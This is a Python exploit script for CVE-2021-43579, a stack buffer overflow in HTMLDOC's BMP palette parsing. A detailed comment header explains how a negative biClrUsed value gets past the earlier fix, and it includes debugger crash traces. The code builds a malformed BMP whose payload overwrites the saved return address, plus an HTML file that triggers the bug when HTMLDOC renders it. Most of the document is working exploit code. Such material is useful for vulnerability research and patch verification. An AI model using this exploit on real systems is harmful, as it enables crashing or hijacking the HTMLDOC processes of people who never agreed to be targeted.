#!/usr/bin/env python3
# Exploit Title: HTMLDOC 1.9.13 - Stack Buffer Overflow
# Google Dork: N/A
# Date: 2025-08-26
# Exploit Author: wulfgarpro
# Vendor Homepage: https://github.com/michaelrsweet/htmldoc
# Software Link: https://github.com/michaelrsweet/htmldoc/releases/tag/v1.9.13
# Version: <= 1.9.13
# Tested on: Linux x86_64
# CVE: CVE-2021-43579
# ==============================================================================
#
# ------------------------------------------------------------------------------
# Summary
# ------------------------------------------------------------------------------
# HTMLDOC's BMP reader (`image_load_bmp`) uses a fixed-size stack buffer for
# the colour palette: 256 * 4 = 1024 bytes.
#
# The `image_load_bmp` function advances past the 14-byte BITMAPFILEHEADER and
# parses the BITMAPINFOHEADER. The attacker-controlled `biClrUsed` field is read
# into an `int` and then directly drives the number of colour palette bytes
# copied into the 1024-byte stack buffer:
#
# ```c
# int colors_used;
# uchar colormap[256][4]; // 1024 bytes
# colors_used = (int)read_dword(fp); // biClrUsed
# fread(colormap, (size_t)colors_used, 4, fp);
# ```
#
# A fix in v1.9.13 only rejected `colors_used > 256`. Negative values are not
# rejected. A negative `colors_used` (e.g. `biClrUsed = 0xffffffff == -1`) is
# cast to `size_t` (wraps to `SIZE_MAX`), so `fread` is asked to copy a huge
# amount into the 1024-byte buffer.
#
# `fread(ptr, size, nmemb, ...)` copies `size * nmemb` bytes. Here the call
# requests `colors_used * 4` bytes. With `biClrUsed = 0xffffffff` (-1),
# `(size_t)colors_used` becomes `SIZE_MAX`, so the call requests an enormous
# read (`size=SIZE_MAX, nmemb=4`). In practice `fread` writes however many bytes
# are available; with our 1088-byte payload it overflows the 1024-byte buffer by
# 64 bytes:
#
# Payload layout:
#
# * 1080 'A' bytes: fill the 1024-byte stack buffer and a further 56 bytes.
# * 8 'B' bytes: land on the saved return address on x86_64, producing
# `RIP = 0x4242424242424242`.
#
# Example crash without _FORTIFY_SOURCE / stack protector:
#
# ```sh
# ► 0 0x55555559dbb7 image_load_bmp(image_t*, _IO_FILE*, int, int)+2615
# 1 0x4242424242424242 None
# 2 0x1 None
# 3 0x55a5d5e0 None
# 4 0x555555a9ffa0 None
# 5 0x555500000000 None
# 6 0x5555555a989c None
# 7 0x555555a5d5e0 _htmlGlyphs
# ```
#
# With `_FORTIFY_SOURCE=2`, overflow is detected:
#
# ```sh
# *** buffer overflow detected ***: terminated
#
# Program received signal SIGABRT, Aborted.
#
# ► 0 0x7ffff749894c None
# 1 0x7ffff743e410 raise+32
# 2 0x7ffff742557a abort+38
# 3 0x7ffff7426613 None
# 4 0x7ffff7526319 None
# 5 0x7ffff7525c84 None
# 6 0x7ffff7526565 __fread_chk+389
# 7 0x5555555930d9 image_load_bmp(image_t*, _IO_FILE*, int, int)+346
# ```
#
# ------------------------------------------------------------------------------
# Usage
# ------------------------------------------------------------------------------
# 0. Generate the HTML and evil BMP: `python3 CVE-2021-43579.py`
# 1. Trigger via HTMLDOC: `htmldoc --webpage -f out.pdf poc.html`
# ------------------------------------------------------------------------------
# 14-byte BITMAPFILEHEADER
BITMAPFILEHEADER = (
b"\x42\x4d" # bfType
b"\x00\x00\x00\x00" # bfSize
b"\x00\x00" # bfReserved1
b"\x00\x00" # bfReserved2
b"\x00\x00\x00\x00" # bfOffBits
)
# 40-byte BITMAPINFOHEADER
BITMAPINFOHEADER = (
b"\x00\x00\x00\x00" # biSize
b"\x01\x00\x00\x00" # biWidth = 0x00000001 (1)
b"\x01\x00\x00\x00" # biHeight = 0x00000001 (1)
b"\x00\x00" # biPlanes
b"\x00\x00" # biBitCount
b"\x00\x00\x00\x00" # biCompression
b"\x00\x00\x00\x00" # biSizeImage
b"\x00\x00\x00\x00" # biXPelsPerMeter
b"\x00\x00\x00\x00" # biYPelsPerMeter
b"\xff\xff\xff\xff" # biClrUsed = 0xffffffff (-1)
b"\x00\x00\x00\x00" # biClrImportant
)
PAYLOAD = b"A" * 1080 # cyclic: uaakvaak
PAYLOAD += b"B" * 8 # RIP overwrite
def generate_poc_bmp():
with open("poc.bmp", "+wb") as poc_bmp:
poc_bmp.write((BITMAPFILEHEADER + BITMAPINFOHEADER) + PAYLOAD)
def generate_poc_html():
with open("poc.html", "+w") as poc_html:
poc_html.write("<html><img src='./poc.bmp'/></html>")
if __name__ == "__main__":
generate_poc_bmp()
generate_poc_html()